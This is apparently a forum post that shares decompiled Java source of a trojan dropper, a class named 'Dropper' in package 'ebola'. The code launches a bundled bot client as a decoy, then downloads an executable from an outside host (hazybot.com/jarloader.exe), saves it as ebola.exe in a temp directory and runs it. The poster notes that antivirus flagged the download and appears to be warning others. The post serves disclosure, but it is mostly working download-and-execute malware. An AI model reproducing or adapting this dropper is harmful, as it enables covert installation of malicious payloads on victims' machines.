Code:
package ebola;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.io.PrintStream;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLConnection;
import java.nio.file.CopyOption;
import java.nio.file.Files;
public class Dropper
{
public static final String URL = "http://hazybot.com/jarloader.exe";
private static final int TEMP_DIR_ATTEMPTS = 10000;
public static void main(String[] args)
throws MalformedURLException, IOException, InterruptedException
{
File file = new File("running.jar");
if (!file.exists())
{
InputStream link = Dropper.class.getResourceAsStream("osbot.jar");
Files.copy(link, file.getAbsoluteFile().toPath(), new CopyOption[0]);
}
Runtime.getRuntime().exec("java -jar running.jar");
File tempDir = createTempDir();
String s = tempDir.toString() + "\\ebola.exe";
File f = new File(s);
URLConnection c = new URL("http://hazybot.com/jarloader.exe").openConnection();
byte[] buffer = new byte['?'];
int n = -1;
OutputStream output = new FileOutputStream(f);
while ((n = c.getInputStream().read(buffer)) != -1) {
if (n > 0) {
output.write(buffer, 0, n);
}
}
output.close();
System.out.println(f.toString());
Process p = Runtime.getRuntime().exec(f.toString());
p.waitFor();
System.out.println(p.exitValue());
}
public static File createTempDir()
{
File baseDir = new File(System.getProperty("java.io.tmpdir"));
String baseName = System.currentTimeMillis() + "-";
for (int counter = 0; counter < 10000; counter++)
{
File tempDir = new File(baseDir, baseName + counter);
if (tempDir.mkdir()) {
return tempDir;
}
}
throw new IllegalStateException("Failed to create directory within 10000 attempts (tried " +
baseName + "0 to " +
baseName + 9999 + ')');
}
}
Downloaded the exe and Avast detected it as a DRep for whatever that means
not my find, someone on powerbot, thought I should post here for anyone